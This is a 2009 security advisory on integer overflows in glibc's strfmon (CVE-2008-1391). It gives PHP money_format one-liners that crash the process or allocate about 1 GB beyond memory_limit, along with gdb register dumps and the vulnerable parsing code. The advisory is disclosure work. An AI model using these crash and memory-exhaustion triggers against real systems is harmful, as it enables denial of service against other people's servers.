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[ glibc x<=2.10.1 stdio/strfmon.c Multiple vulnerabilities ]

Author: Maksymilian Arciemowicz
http://SecurityReason.com
Date:
- - Dis.: 10.03.2008
- - Pub.: 17.09.2009

CVE: CVE-2008-1391
Risk: High

Affected Software (tested 27.08.2009):
- - Fedora 11
- - Slackware 12.2
- - Ubuntu 9.04
- - others linux distributions

Original URL:
http://securityreason.com/achievement_securityalert/67

Previous URL:
http://securityreason.com/achievement_securityalert/53

- --- 0.Description ---
strfmon -- convert monetary value to string

The strfmon() function places characters into the array pointed to by s as controlled by the string pointed to by format. No
more than maxsize bytes are placed into the array.

The format string is composed of zero or more directives: ordinary characters (not %), which are copied unchanged to the output
stream; and
conversion specifications, each of which results in fetching zero or more
subsequent arguments. Each conversion specification is introduced by the %
character.

SYNOPSIS:

#include <monetary.h>

ssize_t
strfmon(char * restrict s, size_t maxsize, const char * restrict
format,
...);

- --- 1. glibc x<=2.10.1 stdio/strfmon.c Multiple vulnerabilities ---
In March 2008, our team has published a security note (SREASONRES:20080325) about vulnerabilities in strfmon(3) function. Issue
has been officially diagnosed in NetBSD, FreeBSD and MacOSX. However, from the source code due to a glibc also is vulnerable to.
We have informed glibc team. However, the description of the issue and fix was not enough for gnu team. They has changed status
for BOGUS and response was:

- ---	
And what exactly does an BSD implementation has to do with glibc?
- ---

Today we now, only NetBSD is secure for this. And all systems uses glibc are affected. Despite the differences in the code
NetBSD libc and glibc, issue is the same but the exploit differs from that presented in  (SREASONRES:20080325).

Description of the vulnerabalitie:
http://securityreason.com/achievement_securityalert/53 (SREASONRES:20080325)
http://xorl.wordpress.com/2009/04/11/cve-2008-1391-netbsd-strfmon-integer-overflow/

Description of the fix:
ftp://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2008-006.txt.asc

To present this issue in Fedora 11, we will use php client. money_format() use strfmon(3) function so this program will be perfect.

[cx@localhost ~]$ php -r 'money_format("%.1073741821i",1);'
Segmentation fault

for 'money_format("%.1073741821i",1);' we will get

Program received signal SIGSEGV, Segmentation fault.
0x0019331a in __printf_fp () from /lib/libc.so.6

(gdb) bt
#0  0x0019331a in __printf_fp () from /lib/libc.so.6
#1  0x0018832b in __vstrfmon_l () from /lib/libc.so.6
#2  0x00187a36 in strfmon () from /lib/libc.so.6

strfmon() will call to __printf_fp() with overflowed arg. In result

(gdb) x/20s ($esi)-10
0x8448ff6:	 ""
0x8448ff7:	 ""
0x8448ff8:	 "0"
0x8448ffa:	 ""
0x8448ffb:	 ""
0x8448ffc:	 "0"
0x8448ffe:	 ""
0x8448fff:	 ""
0x8449000:	 <Address 0x8449000 out of bounds>
0x8449000:	 <Address 0x8449000 out of bounds>
0x8449000:	 <Address 0x8449000 out of bounds>
...
(gdb) i r
eax            0x30	48
ecx            0x0	0
edx            0x0	0
ebx            0x2bdff4	2875380
esp            0xbfffec14	0xbfffec14
ebp            0xbfffed78	0xbfffed78
esi            0x8449000	138711040
edi            0x810c	33036
eip            0x19331a	0x19331a <__printf_fp+3274>

Now let's see what will hapen for 'money_format("%.1073741822i",1);'

Program received signal SIGSEGV, Segmentation fault.
0x0034b27b in hack_digit.12295 () from /lib/libc.so.6

php will crash in hack_digit().

(gdb) i r
eax            0x3ffffffe	1073741822
ecx            0x32	50
edx            0x2	2
ebx            0x476ff4	4681716
esp            0xbfffebc4	0xbfffebc4
ebp            0xbfffebf4	0xbfffebf4
esi            0x32	50
edi            0x3e	62

we can try change edi register.

For 'money_format("%.1073741824i",1);'
(gdb) i r
eax            0x40000000	1073741824
ecx            0x32	50
edx            0x2	2
ebx            0x35bff4	3522548
esp            0xbfffebbc	0xbfffebbc
ebp            0xbfffebec	0xbfffebec
esi            0x32	50
edi            0x42	66


But let's see what will hapen for 'money_format("%.77715949976712904702i", 1.1);'

crash in
Program received signal SIGSEGV, Segmentation fault.
0x00e4327b in hack_digit.12295 () from /lib/libc.so.6
(gdb) i r
eax            0x3ffffffe	1073741822
ecx            0x34	52
edx            0x2	2
ebx            0xf6eff4	16183284
esp            0xbfffebb4	0xbfffebb4
ebp            0xbfffebe4	0xbfffebe4
esi            0x34	52
edi            0x3e	62

esi 52.
	
Interesting is that the PHP memory_limit has no control over what will happens in the level of the libc. Function strfmon(3) can
allocate a lot of data in memory without control by PHP memory_limit.

For example:
php -r 'money_format("%.1343741821i",1);'

will allocate ~1049MB real memory.
memory_limit can be less that 1049M

Strange is the fact that nobody checked the code of glibc. The algorithm used in BSD libc and glibc is very similar. Funy.

Let's see libc/stdlib/strfmon_l.c (glibc rev-1.5.2.4)
- ---
      if (isdigit (*fmt))
	{
	  /* Parse field width.  */
	  width = to_digit (*fmt);

	  while (isdigit (*++fmt))
	    {
	      int val = to_digit (*fmt);

	      if (width > LONG_MAX / 10
		  || (width == LONG_MAX && val > LONG_MAX % 10))
		{
		  __set_errno (E2BIG);
		  return -1;
		}

	      width = width * 10 + val;
	    }

	  /* If we don't have enough room for the demanded width we
	     can stop now and return an error.  */
	  if (width >= maxsize - (dest - s))
	    {
	      __set_errno (E2BIG);
	      return -1;
	    }
	}
- ---

Perfect. The above code protects us. Very funy is this comment

	  /* If we don't have enough room for the demanded width we
	     can stop now and return an error.  */

But what is below, is a mistake already
- ---
      /* Recognize left precision.  */
      if (*fmt == '#')
	{
	  if (!isdigit (*++fmt))
	    {
	      __set_errno (EINVAL);
	      return -1;
	    }
	  left_prec = to_digit (*fmt);

	  while (isdigit (*++fmt))
	    {
	      left_prec *= 10;
	      left_prec += to_digit (*fmt);
	    }
	}

      /* Recognize right precision.  */
      if (*fmt == '.')
	{
	  if (!isdigit (*++fmt))
	    {
	      __set_errno (EINVAL);
	      return -1;
	    }
	  right_prec = to_digit (*fmt);

	  while (isdigit (*++fmt))
	    {
	      right_prec *= 10;
	      right_prec += to_digit (*fmt);
	    }
	}
- ---

To overflow the left_prec, we need only give # ( if (*fmt == '#') ) before digits.

So, any uses like
- ---
      info.prec = right_prec;
      info.width = left_prec + (right_prec ? (right_prec + 1) : 0);
      info.spec = 'f';
      info.is_long_double = is_long_double;
      info.group = group;
      info.pad = pad;
      info.extra = 1;		/* This means use values from LC_MONETARY.  */

      ptr = &fpnum;
      done = __printf_fp (&f._sbf._f, &info, &ptr);
- ---

are vulnerable.

- --- 2. Greets ---
sp3x Infospec Chujwamwdupe p_e_a pi3

- --- 3. Contact ---
Author: SecurityReason.com [ Maksymilian Arciemowicz ]
Email: cxib {a.t] securityreason [d0t} com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com/
http://securityreason.pl/

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